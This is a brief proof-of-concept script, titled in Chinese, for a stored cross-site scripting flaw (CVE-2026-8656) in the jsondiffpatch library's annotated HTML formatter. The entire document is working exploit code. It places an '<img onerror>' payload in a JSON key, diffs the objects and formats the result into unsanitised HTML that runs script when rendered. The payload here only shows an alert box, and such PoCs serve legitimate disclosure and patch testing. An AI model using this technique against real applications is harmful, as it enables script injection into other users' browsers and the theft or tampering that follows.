CVE-2026-8656: jsondiffpatch 存储型 XSS 漏洞

// PoC for CVE-2026-8656: jsondiffpatch XSS // Requires vulnerable version of jsondiffpatch (< 0.7.6) const jsondiffpatch = require('jsondiffpatch'); const formatters = require('jsondiffpatch/formatters'); // 1. Create a sample diff involving malicious data // The key contains an XSS payload const left = { "safe_key": "safe_value" }; const right = { "safe_key": "safe_value", "<img src=x onerror=alert('CVE-2026-8656')>": "malicious" }; // 2. Generate the delta const delta = jsondiffpatch.diff(left, right); // 3. Format the delta using the annotated formatter // This formatter is vulnerable as it does not sanitize keys/values const htmlOutput = formatters.annotated.format(delta); // 4. Simulate rendering to DOM (Vulnerability Trigger) // In a real app, this would be document.body.innerHTML = htmlOutput; console.log("Generated HTML:", htmlOutput); // If the output is rendered, the alert box would appear. // To test, one would typically run this in an environment where the HTML is rendered.